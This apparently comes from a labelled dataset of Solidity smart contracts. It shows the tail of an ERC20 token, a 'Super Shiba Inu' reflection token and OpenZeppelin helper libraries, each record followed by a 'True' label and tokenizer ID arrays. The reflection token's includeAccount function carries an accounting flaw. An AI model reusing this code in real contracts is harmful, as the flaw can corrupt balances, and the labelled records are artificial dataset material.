// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () external payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1014,
1025,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
1005,
10514,
26760,
1005,
1005,
10514,
26760,
8838,
1005,
6047,
3206,
1013,
1013,
1013,
1013,
6454,
1024,
10514,
26760,
1013,
1013,
2171,
1024,
10514,
26760,
8838,
1013,
1013,
2561,
4425,
1024,
6255,
2581,
1010,
6255,
2581,
1010,
6255,
2581,
1013,
1013,
26066,
2015,
1024,
2184,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1996,
10210,
11172,
1012,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
3647,
8785,
2015,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1007,
1025,
1039,
1027,
1037,
1011,
1038,
1025,
1065,
3853,
14163,
2140,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
1039,
1027,
1037,
1008,
1038,
1025,
5478,
1006,
1037,
1027,
1027,
1014,
1064,
1064,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
1065,
3853,
4487,
2615,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// File: openzeppelin-solidity\contracts\GSN\Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity ^0.8.4;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.8.4;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.8.4;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.4;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.8.4;
contract SUPERSHIBA is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Super Shiba Inu';
string private _symbol = 'SUPER SHIBA';
uint8 private _decimals = 0;
constructor () {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
101,
1013,
1013,
5371,
1024,
2330,
4371,
27877,
2378,
1011,
5024,
3012,
1032,
8311,
1032,
28177,
2078,
1032,
6123,
1012,
14017,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
1013,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
2800,
1008,
3081,
5796,
2290,
1012,
4604,
2121,
1998,
5796,
2290,
1012,
2951,
1010,
2027,
2323,
2025,
2022,
11570,
1999,
2107,
1037,
3622,
1008,
5450,
1010,
2144,
2043,
7149,
2007,
28177,
2078,
18804,
1011,
11817,
1996,
4070,
6016,
1998,
1008,
7079,
2005,
7781,
2089,
2025,
2022,
1996,
5025,
4604,
2121,
1006,
2004,
2521,
2004,
2019,
4646,
1008,
2003,
4986,
1007,
1012,
1008,
1008,
2023,
3206,
2003,
2069,
3223,
2005,
7783,
1010,
3075,
1011,
2066,
8311,
1012,
1008,
1013,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
3638,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
